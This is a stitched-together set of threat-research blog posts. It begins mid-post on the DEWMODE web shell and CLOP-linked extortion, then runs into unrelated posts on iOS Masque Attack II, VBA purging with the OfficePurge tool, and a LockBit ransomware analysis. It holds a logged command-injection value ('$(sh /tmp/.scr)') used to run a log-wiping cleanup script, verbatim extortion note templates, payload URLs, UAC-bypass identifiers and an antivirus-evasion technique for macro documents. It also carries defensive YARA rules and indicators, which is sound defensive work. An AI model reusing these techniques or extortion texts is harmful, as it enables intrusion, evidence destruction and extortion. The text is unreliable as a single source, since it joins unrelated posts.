Figure 4: DEWMODE web shell screenshot GET /courier/about.html?dwn=[REDACTED]&fn=[REDACTED] HTTP/1.1\" 200 1098240863 \"-\" \"-\" \"-\" TLSv1.2 ECDHE-RSA-AES128-SHA256 Figure 5: DEWMODE File Download URL parameters Following file downloads, UNC2546 initiates a cleanup routine by passing a specific query parameter named csrftoken with the value 11454bd782bb41db213d415e10a0fb3c to DEWMODE.
The following actions are performed:
A shell script is written to /tmp/.scr , which will: Remove all references to about.html from log files located in /var/opt/apache/ Write the modified log file to /tmp/
x then replace the original log file at /var/opt/apache/ Delete the contents of the /home/seos/log/adminpl.log log file.
Remove /home/seos/courier/about.html (DEWMODE) and /home/seos/courier/oauth.api (eval web shell), and redirect command output to the file /tmp/.out
Change the permissions of the output file to be readable, writeable and executable by all users, and set the owner to “nobody” Delete the script file /tmp/.scr and other temporarily created files to assist in cleanup Display cleanup output to the requesting user
An example of a cleanup request and subsequent execution of the cleanup script can be seen in Figure 6.
GET /courier/about.html?csrftoken=11454bd782bb41db213d415e10a0fb3c HTTP/1.1\" 200 5 \"-\" \"https://[REDACTED]//courier/about.html?aid=1000\" \"Mozilla/5.0 (X11; Linux x86_64; rv:82.0) Gecko/20100101 sft sudo:   nobody : TTY=unknown ; PWD=/home/seos/courier ; USER=root ; COMMAND=/usr/local/bin/admin.pl --mount_cifs=AF,DF,'$(sh /tmp/.scr)',PASSWORD
Figure 6: DEWMODE cleanup request Mandiant also identified a variant of DEWMODE ( bdfd11b1b092b7c61ce5f02ffc5ad55a ) which contained minor changes to the cleanup operation, including wiping of /var/log/secure and removing about.html and oauth.api from the directories /home/httpd/html/ instead of /home/seos/courier/ .
In a subset of incidents, Mandiant observed UNC2546 requesting a file named cache.js.gz (Figure 7).
Based on temporal file access to the mysqldump utility and mysql data directories, the archive likely contained a dump of the database.
With the exception of cache.js.gz , Mandiant has not observed UNC2546 acquiring files from Accellion appliances through any method besides DEWMODE.
GET //courier/
cache.js.gz HTTP/1.1\" 200 35654360 \"-\" \"-\" \"python-requests/2.24.0\" TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 Figure 7: cache.js.gz file request UNC2582 Data Theft Extortion Shortly after installation of the web shell, in multiple cases within hours, UNC2546 leveraged DEWMODE to download files from compromised FTA instances.
While the actors’ motivations were not immediately clear, several weeks after delivery of the DEWMODE web shell, victims began to receive extortion emails from an actor claiming association with the CLOP ransomware team (Figure 8 and Figure 9).
The actors threatened to publish data on the \"CL0P^_- LEAKS\" .onion shaming website, unless the victim paid an extortion fee.
We are tracking the subsequent extortion activity under a separate threat cluster, UNC2582.
Despite tracking the exploitation and extortion activity in separate threat clusters we have observed at least one case where an actor interacted with a DEWMODE web shell from a host that was used to send UNC2582-attributed extortion email.
Hello!
Your network has been hacked, a lot of valuable data stolen.
<description of stolen data, including the total size of the compressed files>
We are the CLOP ransomware team, you can google news and articles about us.
We have a website where we publish news and stolen files from companies that have refused to cooperate.
Here is his address http://[redacted].onion/ - use TOR browser or http://[redacted].onion.dog/ - mirror.
We are visited by 20-30 thousand journalists, IT experts, hackers and competitors every day.
We suggest that you contact us via chat within 24 hours to discuss the current situation.
<victim-specific negotiation URL> - use TOR browser We don't want to hurt
, our goal is money.
We are also ready to provide any evidence of the presence of files with us.
Figure 8: Extortion Note Template 1
This is the last warning!
If you don’t get in touch today, tomorrow we will create a page with screenshots of your files (like the others on our site),  send messages to all the emails that we received from your files.
Due to the fact that journalists and hackers visit our site, calls and questions will immediately begin, online publications will begin to publish information about the leak, you will be asked to comment.
Do not let this happen, write to us in chat or email and we will discuss the situation!
CHAT:  <victim-specific negotiation URL>
EMAIL:
unlock@support-box.com USE TOR BROWSER!
Figure 9: Extortion Note Template 2 Based on observations at several engagements, UNC2582 appears to follow a pattern of escalation to pressure victims into paying extortion demands.
Initial emails are sent from a free email account, likely unique per victim, to a seemingly limited distribution of addresses at the victim organization.
If the victim does not respond in a timely manner, additional emails are sent to a much larger number of recipients from hundreds or thousands of different email accounts and using varied SMTP infrastructure.
In at least one case, UNC2582 also sent emails  to partners of the victim organization that included links to the stolen data and negotiation chat.
Monitoring of the CL0P^_- LEAKS shaming website has demonstrated that UNC2582 has followed through on threats to publish stolen data as several new victims have appeared on the site in recent weeks, including at least one organization that has publicly confirmed that their Accellion FTA device had been recently targeted.
Key Overlaps With FIN11 UNC2582 (Extortion) and FIN11 Mandiant identified overlaps between UNC2582’s data theft extortion activity and prior FIN11 operations, including common email senders and the use of the CL0P^_- LEAKS shaming site.
While FIN11 is known for deploying CLOP ransomware, we have previously observed the group conduct data theft extortion without ransomware deployment, similar to these cases.
Some UNC2582 extortion emails observed in January 2021 were sent from IP addresses and/or email accounts used by FIN11 in multiple phishing campaigns between August and December 2020, including some of the last campaigns that were clearly attributable to the group.
We have not observed FIN11 phishing activity in the new year.
FIN11 has typically paused their phishing operations over the winter holidays and had several extended gaps in their operations.
However, the timing of this current hiatus is also consistent with UNC2582’s data theft extortion activity.
UNC2582 extortion emails contained a link to the CL0P^_- LEAKS website and/or a victim specific negotiation page.
The linked websites were the same ones used to support historical CLOP operations, a series of ransomware and data theft extortion campaigns we suspect can be exclusively attributed to FIN11.
UNC2546 (FTA Exploitation and DEWMODE) and FIN11
There are also limited overlaps between FIN11 and UNC2546.
Many of the organizations compromised by UNC2546 were previously targeted by FIN11.
An IP address that communicated with a DEWMODE web shell was in the \"Fortunix Networks L.P.\" netblock, a network frequently used by FIN11 to host download and FRIENDSPEAK command and control (C2) domains.
Implications
The overlaps between FIN11, UNC2546, and UNC2582 are compelling, but we continue to track these clusters separately while we evaluate the nature of their relationships.
One of the specific challenges is that the scope of the overlaps with FIN11 is limited to the later stages of the attack life cycle.
UNC2546 uses a different infection vector and foothold, and unlike FIN11, we have not observed the actors expanding their presence across impacted networks.
We therefore have insufficient evidence to attribute the FTA exploitation, DEWMODE, or data theft extortion activity to FIN11.
Using SQL injection to deploy DEWMODE or acquiring access to a DEWMODE shell from a separate threat actor would represent a significant shift in FIN11 TTPs, given the group has traditionally relied on phishing campaigns as its initial infection vector and we have not previously observed them use zero-day vulnerabilities.
Acknowledgements David Wong, Brandon Walters, Stephen Eckels and Jon Erickson Indicators of Compromise (IOCs)
DEWMODE Web Shells MD5 SHA256 2798c0e836b907e8224520e7e6e4bb42 5fa2b9546770241da7305356d6427847598288290866837626f621d794692c1b bdfd11b1b092b7c61ce5f02ffc5ad55a 2e0df09fa37eabcae645302d9865913b818ee0993199a6d904728f3093ff48c7 UNC2546 Source IP Addresses
The following source IP addresses were observed in multiple UNC2546 intrusions: 45.135.229.179
79.141.162.82 155.94.160.40 192.154.253.120 192.52.167.101 194.88.104.24 Detections FireEye Detections FE_Webshell_PHP_DEWMODE_1 FEC_Webshell_PHP_DEWMODE_1 Webshell.
PHP.DEWMODE Mandiant Security Validation A101-515 Malicious File Transfer - DEWMODE Webshell, Upload, Variant #1 A101-516 Malicious File Transfer - DEWMODE Webshell, Upload, Variant #2
DEWMODE YARA Rule
The following YARA rule is not intended to be used on production systems or to inform blocking rules without first being validated through an organization's own internal testing processes to ensure appropriate performance and limit the risk of false positives.
This rule is intended to serve as a starting point for hunting efforts to identify DEWMODE payloads; however, it may need adjustment over time if the malware family changes.
rule DEWMODE_PHP_Webshell { strings: $s1 = /if
\\(isset\\(\\$_REQUEST\\[[\\x22\\x27]dwn[\\x22\\x27]]\\)[\\x09\\x20]{0,32}&&[\\x09\\x20]{0,32}isset\\(\\$_REQUEST\\[[\\x22\\x27]fn[\\x22\\x27]\\]\\)\\)\\s{0,256}\\{/ $s2 = \"<th>file_id</th>\" $s3 = \"<th>path</th>\" $s4 =
\"<th>file_name</th>\" $s5 = \"<th>uploaded_by</th>\" $s6 = \"target=\\\\\\\"_blank\\\\\\\">Download</a></td>\" $s7 = \"Content-Type: application/octet-stream\" $s8 = \"Content-disposition: attachment; filename=\" condition: all of them } Subscribe to Blogs Get email updates as new blog posts are added.
In November of last year, we uncovered a major flaw in iOS we dubbed “ Masque Attack ” that allowed for malicious apps to replace existing, legitimate ones on an iOS device via SMS, email, or web browsing.
In total, we have notified Apple of five security issues related to four kinds of Masque Attacks.
Today, we are sharing Masque Attack II in the series – part of which has been fixed in the recent iOS 8.1.3 security content update [2].
Masque Attack II includes bypassing iOS prompt for trust and iOS URL scheme hijacking.
iOS 8.1.3 fixed the first part whereas the iOS URL scheme hijacking is still present.
iOS app URL scheme “lets you communicate with other apps through a protocol that you define.”
[1] By deliberately defining the same URL schemes used by other apps, a malicious app can still hijack the communications towards those apps and mount phishing attacks to steal login credentials.
Even worse than the first Masque Attack [3], attackers might be able to conduct Masque Attack II through an app in the App Store.
We describe these two parts of Masque Attack II in the following sections.
Bypassing Prompt for Trust When the user clicks to open an enterprise-signed app for the first time, iOS asks whether the user trusts the signing party.
The app won’t launch unless the user chooses “Trust”.
Apple suggested defending against Masque Attack by the aid of this “Don’t Trust” prompt [8].
We notified Apple that this was inadequate.
We find that when calling an iOS URL scheme, iOS launches the enterprise-signed app registered to handle the URL scheme without prompting for trust.
It doesn’t matter whether the user has launched that enterprise-signed app before.
Even if the user has always clicked “Don’t Trust”, iOS still launches that enterprise-signed app directly upon calling its URL scheme.
In other words, when the user clicks on a link in SMS, iOS Mail or Google Inbox, iOS launches the target enterprise-signed app without asking for user’s “Trust” or even ignores user’s “Don’t Trust”.
An attacker can leverage this issue to launch an app containing a Masque Attack.
By crafting and distributing an enterprise-signed malware that registers app URL schemes identical to the ones used by legitimate popular apps, an attacker may hijack legitimate apps’ URL schemes and mimic their UI to carry out phishing attacks, e.g.
stealing the login credentials.
iOS doesn’t protect users from this attack because it doesn’t prompt for trust to the user when launching such an enterprise-signed malware for the first time through app URL scheme.
In Demo Video 1, we explain this issue with concrete examples.
We’ve also found other approaches to bypass “Don’t Trust” protection through iOS springboard.
We confirmed these problems on iOS 7.1.2, 8.1.1, 8.1.2 and 8.2 beta.
Recently Apple fixed these issues and acknowledged our findings in CVE-2014-4494 in the iOS 8.1.3 security content [2].
As measured by the App Store on 2 Feb 2015 [4], however, 28% devices use iOS version 7 or lower, which are still vulnerable.
Of the 72% iOS 8 devices, some are also vulnerable given that iOS 8.1.3 came out in late January 2015.
We encourage users to upgrade their iOS devices to the latest version as soon as possible.
URL Scheme Hijacking
According to iOS Developer Library, “If more than one third-party\napp registers to handle the same URL scheme, there is currently no\nprocess for determining which app will be given that scheme”
[1].\nHowever, when two apps register the same URL scheme, iOS always\nlaunches the same one to handle it in our experiments using multiple\niOS versions and device models.
Furthermore, one app can block another\napp from handling the same URL scheme if the developer crafts the\nbundle id carefully.
The mechanism of URL scheme handling seems more like a “feature”\ninstead of a “bug” for iOS App Store which allows apps from different\ndevelopers to share the same URL schemes.
On iOS App Store, the two\napps “BASCOM Anywhere Filter Browser” [5] and “Chrome - web browser by\nGoogle” [6] both registered the URL schemes “googlechrome://” and \n“googlechromes://”.
With both apps installed, an iOS 8.1.3 device\nlaunches “BASCOM Anywhere Filter Browser” instead of Google’s Chrome\nbrowser when the user clicks on a link shown in Safari browser which\nuses the scheme “googlechrome://” or  “googlechromes://”.
We’ve also seen 28 App Store apps all registering the URL scheme\n“fb://”, which is one of the URL scheme registered by the Facebook\napp.
16 of these 28 apps are not from Facebook.
At least 8048 App\nStore apps register the same URL scheme “fb118493188254996” and many\nof these apps are from different developers.
Attackers can either publish an “aggressive” app into the App Store,\nor craft and distribute an enterprise-signed/ad-hoc malware that\nregisters app URL schemes identical to the ones of legitimate popular\napps.
Through this , attackers can mimic a legitimate app’s UI to\ncarry out phishing attacks to steal login credentials or gather data\nintended to be shared between two trusted apps.
As an example, the Chrome web browser by Google [6] registers four\nURL schemes: \"com.google.sso.75882956776-quflk872g5nq29l4p16ql1u6956mehe1\",\n\"googlechrome\", \"googlechromes\",\n\"googlechrome-x-callback\",\n\"com.google.sso.chrome\".
One enterprise-signed app that\nregisters the same set of URL schemes on iOS 8.1.3 and earlier\nversions is able to hijack web links when the user clicks them from\nthe emails in Gmail app, from web pages displayed by Safari or from\nSMS messages.
Demo Video 2 describes one such attack scenario.
Previous studies [9] have also recognized the risk in the way iOS\nhandling the URL schemes.
However, bypassing prompt for trust gave\nenterprise-signed apps the leverage to exploit this issue silently.
Conclusions Both App Store and iOS treat it as a feature to allow apps from\ndifferent developers to bear the same URL schemes.
Fixing URL scheme\nhijacking may not be easy for Apple.
With this article and a previous\none [3], we have disclosed two out of four Masque Attacks, with the\nother two still being fixed by Apple.
As suggested in our VB’14 paper\n[7], Apple may improve its architecture to collaborate with security\nvendors for a better enterprise-level security solution.
We address\nthis problem in this article to help users better protect themselves.
We thank FireEye team member Joshua Chang for his help in creating\nthe demo videos and Kyrksen Storer for improving this blog.
[1] https://developer.apple.com/library/ios/documentation/iPhone/Conceptual/iPhoneOSProgrammingGuide/Inter-AppCommunication/Inter-AppCommunication.html [2] http://support.apple.com/en-us/HT204245 [3] https://www.fireeye.com/blog/threat-research/2014/11/masque-attack-all-your-ios-apps-belong-to-us.html [6] https://itunes.apple.com/us/app/chrome-web-browser-by-google/id535886823?mt=8 [7] https://www.virusbtn.com/virusbulletin/archive/2014/11/vb201411-Apple-without-shell [8] http://support.apple.com/en-us/HT6584 [9] http://software-security.sans.org/blog/2010/11/08/insecure-handling-url-schemes-apples-ios/ Subscribe to Blogs Get email updates as new blog posts are added.
Malicious Office documents remain a favorite technique for every type\nof threat actor, from red teamers to FIN groups to APTs.
In this blog\npost, we will discuss \"VBA Purging\", a technique we have\nincreasingly observed in the wild and that was first publicly\ndocumented by Didier Stevens in February 2020 .
We will explain\nhow VBA purging works with Microsoft Office documents in Compound File\nBinary Format (CFBF), share some detection and hunting opportunities,\nand introduce a new tool created by Mandiant’s Red Team:
OfficePurge .
MS-OVBA File Format Before diving into VBA Purging, it is important to understand\ncertain components of Microsoft’s\nspecifications on VBA macros (MS-OVBA).
We focus on MS-OVBAs in\nMicrosoft Office 97 documents that use the CFBF file format, instead\nof the modern Open Office XML (OOXML) format used by Microsoft Excel\n“.xlsx” and Microsoft Word “.docx” documents.
MS-OVBA’s file structure stores\nall VBA data in a hierarchy , which consists of structured\nstorage that contain different types of streams.
VBA code in an Office\ndocument is stored in various module streams that consists of two\nparts: the PerformanceCache (also known as\nP-code), and the CompressedSourceCode .
The PerformanceCache section is an array of\nbytes that contains compiled VBA code.
The CompressedSourceCode section contains VBA source\ncode that is compressed with Microsoft’s proprietary algorithm.
The\nboundary between the two sections is determined by a MODULEOFFSET , which is stored in the dir stream.
A diagram of a module stream is shown\nin Figure 1.
Figure 1: Module stream diagram When a VBA macro is added to a document, the VBA engine saves a\ncompiled version in the PerformanceCache section of the relevant module stream to increase performance.\nHowever, an Office application will only access the PerformanceCache if its version and architecture\nmatch what was used to compile the original VBA code.
This version and\nimplementation information is stored in the _VBA_PROJECT and __SRP_# streams.
If the\nversions do not match, the compressed source code is decompressed,\ncompiled, and run instead.
VBA Purging vs VBA Stomping
In 2018, research by the Walmart security team brought a technique\nknown as “ VBA Stomping ” to wider\npublic awareness.
Originally identified by Dr. Vesselin Bontchev in\n2016 , this technique allows attackers to remove compressed VBA\ncode from Office documents and still execute malicious macros without\nmany of the VBA keywords that AV engines had come to rely on for\ndetection.
For an example of VBA stomping in-the-wild, check out “ STOMP\n2 Dis: Brilliance in the (Visual) Basics ”.
VBA stomping takes advantage of how module streams are interpreted\nand exchanges malicious CompressedSourceCode with non-malicious VBA source code, leaving the PerformanceCache untouched.
However, the success\nof this technique is Office-version dependent, implying that an\nattacker would have to do additional recon on their target and be\naware of their victims’ deployed Office versions.
VBA purging modifies the module streams in the opposite way.
Instead\nof changing the CompressedSourceCode , VBA\npurging completely removes the PerformanceCache data from the module stream and\nthe _VBA_PROJECT stream , changes the value\nof the MODULEOFFSET to 0, and removes all\nSRP streams (this is necessary because the _VBA_PROJECT and SRP streams contain version-dependent PerformanceCache data that will result in a\nruntime error when there is no PerformanceCache in the module stream).
This\nremoves strings usually found in PerformanceCache that many AV engines and YARA\nrules depend on for detection.
Once removed, attackers are able to use\nmore standard methodologies and execute suspicious functions (i.e.
CreateObject ) without being detected.
Figure 2 shows the OLE streams for a normal and a purged document,\nextracted using oledump .\nIn
the original document, the Module1 PerformanceCache is 1291 bytes, while it is 0\nbytes in the VBA purged document.
The purged document has no SRP streams and the _VBA_PROJECT stream has been reduced to 7 bytes.
Figure 2: Analyzing VBA purged document\nwith oledump Testing the Effectiveness of VBA Purging Mandiant’s Red Team created a command line, C# tool called OfficePurge to test\nthis technique.
OfficePurge supports Microsoft Office Word, Excel and\nPublisher documents that follow the CFBF file format.
In the following\nexamples, we used OfficePurge and a VBA payload from the public\ntoolkit Unicorn to\ntest the effectiveness of VBA purging a Microsoft Office Word document\nthat contained a Base64 encoded PowerShell payload (Figure 3).
Figure 3:
Macro payload generated with Unicorn The strings output (Figure 4) for the original Word document shows\nUnicorn’s Base64 encoded PowerShell payload, which is detected by many\nsecurity products.
On the other hand, the output for the VBA purged\ndocument does not fully show the Base64 encoded payload because the PerformanceCache is removed.
The CompressedSourceCode still contains the Base64\nencoded payload, but Microsoft’s custom compression algorithm splits\nthe strings, making it harder for static analysis to detect it.
Figure 4:
Strings output with a purged\nand non-purged document Both documents were submitted to online sandboxes to test detection\ncapabilities of various products.
VirusTotal’s detection rate of the\noriginal document (36/60) dropped by 67% after it was VBA purged (12/61) .\nVirusTotal also categorized the non-purged document as “create-ole”,\n“doc”, and “macros”, whereas the purged document was only categorized\nas “doc”.
Figure 5: VirusTotal detection results\nfor non-purged Word document Figure 6: VirusTotal detection results\nfor purged Word document Detection and Hunting Opportunities With OfficePurge, we have the ability to quickly erase compiled VBA\ncode and reduce security product detections in public sandboxes, but\nwhy stop there?
Using this test data, our next step is to build\nconditional detection logic in formats such as YARA rules, which can\nidentify VBA purged documents and allow us to hunt for previously\nundetected malicious documents.
Under the “sample-data” folder in the\nOfficePurge GitHub repo, we have added original and purged documents\nfor each supported file type with a macro that will spawn calc.exe.\nSHA256 hashes are included at the end of this post.
As mentioned before, this technique involves removing PerformanceCache data from the _VBA_PROJECT stream.
MSDN documentation shows\nthat the minimum length for the _VBA_PROJECT stream is 7 bytes to fit the required fields in the stream header.
The\nfollowing YARA rule searches for CFBF files with a 7 byte _VBA_PROJECT stream: rule FEYE_OLE_VBAPurged_1 { meta: author =
\"Alyssa Rahman\n(@ramen0x3f)\" description = \"This\nfile has a _VBA_PROJECT stream that has been cleared.
This is\nevidence of VBA purging, a technique where the p-code\n(PerformanceCache data) is removed from Office files that have\nan embedded macro.\" strings: $vba_proj = { 5F 00 56 00 42 00 41 00 5F 00 50 00 52 00 4F 00\n4A 00 45 00 43 00 54 00 00 00 00 00 00 00 00 00 } condition: uint32(0) ==
0xe011cfd0 and (\nuint32(@vba_proj[1] + 0x78) ==
0x07 ) }
Searching with this logic on VirusTotal reveals a large number of\nmalicious documents, meaning this is very prevalent in the wild and in\nuse by attackers.
This rule should identify most publicly documented\nexamples of VBA purging, such as 9fd864e578d8bb985cf71a24089f5e2f ( HornetSecurity ).\nHowever, it may also identify some false positives.
As previously\nidentified by Didier\nStevens , some public libraries such as EPPlus may generate benign\ndocuments without PerformanceCache data and\nappear to be purged.
Another important limitation of this rule is that the _VBA_PROJECT stream data doesn’t have to be\ncompletely removed.
So while the stream size is 7 in all publicly\ndocumented examples of this technique
, it doesn’t have to be exactly 7.
One solution to this is to compare the compressed and compiled\nversions of a document’s macros and look for unexpected variations.\nAnother potential option is a YARA rule that searches the _VBA_PROJECT stream for keywords or bytes, which\nshould appear if the p-code is valid.
But let’s take the easy path first and look for anomalies within\nOfficePurge.
There’s a section within the code that overwrites the _VBA_PROJECT stream with a static header: //
Remove performance cache in _VBA_PROJECT\nstream.
Replace the entire stream with _VBA_PROJECT\nheader.
byte[] data =\nUtils.
HexToByte(\"CC-61-FF-FF-00-00-00\"); A little bit of Googling shows this header was built based on Microsoft’s\nspecifications .
But if we compare a purged and unpurged document,\nit looks like that header actually varies from specifications in\npractice (Figure 7).
Figure 7:
Comparison of purged and\nunpurged document This header isn’t necessarily proof that a document is malicious or\nwas created with OfficePurge, but it could be a good indicator that\nthe document was created programmatically versus with Office products.\nWith anomalies such as this, we can start building a rule similar to\nthe following, which will search for documents with a “small” _VBA_PROJECT stream and this suspicious stream header: rule FEYE_OLE_VBAPurged_2 { meta: author =
\"Michael Bailey (@mykill),\nJonell Baltazar, Alyssa Rahman (@ramen0x3f), Joseph\nReyes\" description = \"This file has a\nsuspicious _VBA_PROJECT header and a small _VBA_PROJECT\nstream.
This may be evidence of the VBA purging tool\nOfficePurge or a tool-generated document.\" strings: $vba_proj = { 5F 00 56 00 42 00 41 00\n5F 00 50 00 52 00 4F 00 4A 00 45 00 43 00 54 00 00 00 00 00
00\n00 00 00 } $cc61 = {CC 61 FF FF 00 00 00} condition: uint32(0) =
=
0xe011cfd0 and (\nuint32(@vba_proj[1] + 0x78)
>
=
0x07 ) and (\nuint32(@vba_proj[1] + 0x78) < 0xff ) and $cc61 } Searching with the two rules shared here reveals a wide range of\nthreat actors and malware types leveraging VBA purging, or at least\nsome type of automated document generation.
On VirusTotal, you’re\nlikely to see a number of Emotet payloads caught by this rule, which\nis understandable given how heavily it relies on malicious email\nattachments.
Another top offender we observed was AgentTesla.
Since these rules both turn up benign documents as well, they aren’t\nready for a production environment; however, they could be useful as\n“weak signals” for more manual threat hunting.
Many static detection\nengines may struggle for accuracy when identifying the VBA purging\ntechnique.
Dynamic analysis techniques, such as those used by\nFireEye’s MVX engine, will still detonate the malicious document\nproperly and be detected even if the VBA is purged.
Conclusion For as long as companies use Office documents, attackers will be\ntrying to smuggle malicious macros into them.
VBA purging represents a\nrecent example of how threat actors continually invent new ways to\nevade defenders.
The artifacts discussed in this blog post should\nserve as a starting point for detecting VBA purging, and hopefully the\ntooling and indicators we have shared will help you hunt for\nadditional anomalies in malicious Office documents.
Check out OfficePurge today!
Indicators of Compromise File Name Description SHA256 Hash test.doc Unicorn macro payload in Word document without\nVBA purging f4431f02fe1e624fdb7bf2243bb72f1899d7eccb1ed7b2b42ed86e001e8bff28 test2.doc Unicorn macro payload in Word document with\nVBA purging 98bd119f928e8db4ed45f5426f2c35c5f6d6ccc38af029e7ab4b9cfcc1447c53 excel_calc.xls Sample document in OfficePurge’s\n“sample-data folder” de6583d338a8061bb1fc82687c8f5bff9a36ba1e2a87172e696ffaeca32567af excel_calc_PURGED.xls Sample document in OfficePurge’s\n“sample-data folder” 914a6cf78fe98e80b1dee87347adbc8f8b37a1dfe672aa5196885daa447e9e73 publisher_calc.pub Sample document in OfficePurge’s\n“sample-data folder” 4bce7c675edde20a3357bc1d0f25b53838ab0b13824ab7a5bbc09b995b7c832f publisher_calc_PURGED.pub Sample document in OfficePurge’s\n“sample-data folder” 36bdfaaf3ea228844507b1129b6927e1e69a2cd5e8af99d507121b1485d85e1e word_calc.doc Sample document in OfficePurge’s\n“sample-data folder” 23fa4b77c578470c1635fe20868591f07662b998716c51fbb53d78189c06154f word_calc_PURGED.doc Sample document in OfficePurge’s\n“sample-data folder”
a7eac98b3477fc97ccfe94f1419a859061ca944dc95372265e922992bd551529 Subscribe to Blogs Get email updates as new blog posts are added.
By ATR Operational Intelligence Team on Apr 30, 2020 Co-authored by Marc RiveroLopez.
In collaboration with Northwave As we highlighted previously across two blogs, targeted ransomware attacks have increased massively over the past months.
In our first article , we discussed the growing pattern of targeted ransomware attacks where the primary infection stage is often an info-stealer kind of malware used to gain credentials/access to determine if the target would be valuable for a ransomware attack.
In the second part , we described the reconnaissance phase of an attacker that controls an infected host or a valid account to access a remote service.
Many of them are using a similar manual modus operandi as we highlighted in the earlier blogs.
We believe there is real opportunity to learn from incident response cases and previous attacks, hence why this blog is dubbed ‘tales from the trenches’.
In collaboration with Northwave , this article describes a real-life case of a targeted ransomware attack.
During one of their recent incident responses, Northwave encountered a relatively new family of ransomware called LockBit performing a targeted attack.
First sighted in late 2019, under the name .abcd virus, this piece of ransomware was more a revision than evolution when compared with earlier attacks.
Like the previous posts in this blog series, we describe the different stages of the attack and recovery, including a thorough analysis of the ransomware and the attackers behind it.
In this blog we’ll cover: Targeted Countries Attack Analysis Initial Access Network Infiltration Credentials and Privileges Lateral Movement Ransomware Deployment Malware Analysis Payload Analysis Technical Analysis Insights from the Underground Recovery Conclusion LockBit Telemetry Map We gathered telemetry through our McAfee Global Threat Intelligence GTI database on the different LockBit samples we analyzed in our research.
The global spread is currently limited as this ransomware is relatively new and heavily targeted.
Figure 1: Telemetry map Initial Access As in all ransomware cases, the attacker has to gain initial access to the network somehow.
In this particular case the attacker performed a brute force attack on a web server containing an outdated VPN service.
Based on our research it took several days for the brute force to crack the password of the ‘Administrator’ account.
With this account, belonging to the administrator group, the attacker immediately obtained the proverbial “keys to the kingdom” with all the necessary permissions to perform a successful attack.
Unfortunately, this is not a unique case; external facing systems should always have multi-factor authentication enabled when possible.
Besides, a security organization should have a least privilege strategy when it comes to accessing systems.
Targeted ransomware attackers are successfully leveraging the “human factor” integrally.
It is no longer the typical “end-user clicking on a malicious link” causing the complete lock-up of a company.
The human factor in targeted ransomware attacks goes much deeper.
Attackers successfully leverage weaknesses in security policy and misconfigurations across an entire organization; from end-user to Domain Administrator.
Infiltrating the Network To infiltrate the network, the attacker had to take several steps to make sure the ransomware attack was successful.
An attacker always wants to infect as many systems as possible to effectively halt the business process and urge the victim to pay the ransom.
Credentials & Privileges As mentioned previously, the attacker was successful in guessing the password of the Administrator account using a brute force attack.
With this, the attacker immediately had all the necessary privileges for deploying the ransomware successfully.
In other cases, as we described in our second blog , the attacker often uses known post-exploitation frameworks, for privilege escalation, lateral movement and performing any additional actions on their objective.
Since quite a few of these frameworks are readily available we often call this the “GitHubification” of attack tools.
In this case however, the attacker could actually skip this step and continue with the network reconnaissance and deployment of the ransomware immediately, since a high privileged account was already compromised.
Lateral Movement With the administrator-level account, the attacker used SMB to perform network reconnaissance, resulting in an overview of accessible hosts.
Subsequently, the attacker used the internal Microsoft Remote Access Server (RAS) to access these systems using either the administrator or the LocalSystem account.
The LocalSystem account is a built-in Windows account.
It is the most authoritative account on a Windows local instance (more potent than any admin account).
Using these accounts, the attacker owned these systems and could do anything they wanted, including turning off any end-point security products.
Interestingly, both the lateral movement and the deployment of the ransomware was entirely automated.
Deployment of the Ransomware
This specific case was a classic hit and run.
After gaining access to the initial system using the brute-forced administrator account, the attacker logged in and deployed the ransomware almost immediately.
For the attacker, this was a relatively straightforward process since the ransomware spreads itself.
The deployment of the ransomware on one single host remotely instructed the other hosts in the network to run the following PowerShell command: Figure 2: PowerShell execution to download LockBit
This command retrieves a .png file from a website that has probably been compromised.
There are two versions of the .png file, one for .NET version 4 and one for version 3.5.
The PowerShell command checks which version it needs by getting the version number of the common language runtime that is running the current process.
If this starts with ‘V4’, the .png for version 4 is downloaded; otherwise it downloads the .png for version 3.5 via the URLs below: https://espet[.
]se/images/rs35.png https://espet[.
]se/images/rs40.png What is interesting in this case is that each distinct host downloads the ransomware itself.
Hence, the attacker only needed access to one system with an account having enough privileges to automatically make all other hosts in the network download and execute it.
Malware Analysis For our analysis, we will use the file found in our investigation, the details of which are: File name: rs35.png SHA1 488e532e55100da68eaeee30ba342cc05810e296 SHA256 ca57455fd148754bf443a2c8b06dc2a295f014b071e3990dd99916250d21bc75 size 546.00 KB PDB c:\\users\\user\\work\\code\\dotnet\\regedit-64\\regedit-64\\obj\\release\\rs35.pdb guid 84e7065-65fe-4bae-a122-f967584e31db Technical Analysis
The file we found in our investigation was a dropper renamed as a .png file.
When first opening the .png
files we were expecting a real image file, with perhaps some steganography inside, but what we saw instead was the header of a portable executable, so no steganography pictures this time.
The PE was compiled in Microsoft Visual C# v7.0 / Basic .NET, .NET executable -> Microsoft.
Figure 3: Static analysis of LockBit Entropy
-wise it seems quite tidy too, not showing any stray sections or big spikes in the graph.
This behavior indicates that the writer of the malware did not use obfuscation.
Figure 4: Entropy analysis Figure 5: Portex visualization of LockBit This file is a .NET launcher.
Examining the Main() function in the code shows that an array containing a particularly long AES encrypted base64 string (in the variable named ‘exeBuffer’) carries the executable for the actual ransomware.
Figure 6: .NET launcher buffer This encrypted string is decrypted using the key ENCRYPTION29942.
The first 32 bytes of the long ExeBuffer string are used as the salt in the encryption scheme, where ENCRYPTION29942 is the passphrase.
Figure 7:
Launcher calls & functions Remarkably, the script checks for the existence of vbc.exe on its designated host.
Usually, this binary is a digitally signed executable from Microsoft; however, in this case, the malware uses it for process hollowing.
By statically analyzing the file we can spot the usage of: NtUnmapViewOfSection LockBit uses this API in order to unmap the original code in execution NtWriteVirtualMemory
The malware writes the base address of the injected image into the PEB via NtWriteVirtualMemory VirtualAllocEx
To allocate the space before injecting the malicious code The VBC utility is the visual basic compiler for Windows and LockBit uses it to compile and execute the code on the fly directly in execution.
If the vbc utility does not exist on the system, the malware downloads the original vbc.exe file from the same malicious URL as seen before.
After executing vbc.exe, the malware replaces the objects in memory with the code for deploying the ransomware (as deduced from the exeBuffer).
Figure 8: If VBC does not exist, the launcher will download it Payload Analysis Analysis of the exeBuffer shows several appealing elements.
It starts with a UAC Bypass via {3E5FC7F9-9A51-4367-9063-A120244FBEC7} exploiting the ICMLuaUtil elevated COM Interface-Object [1] , as seen in other ransomware families like Trickbot and MedusaLocker.
Subsequently, the script uses another variant of the UAC Bypass.
The CLSID {D2E7041B-2927-42fb-8E9F-7CE93B6DC937} refers to the ColorDataProxy COM Object which is classified as the same Bypass method in hfiref0x’s UACME #43 [2] .
In order to be stealthier, LockBit ransomware loads its modules dynamically instead of having them hardcoded in the IAT and uses LoadLibraryA.
This method is employed to avoid detection by static engines.
Figure 9.
Name of the modules in the code
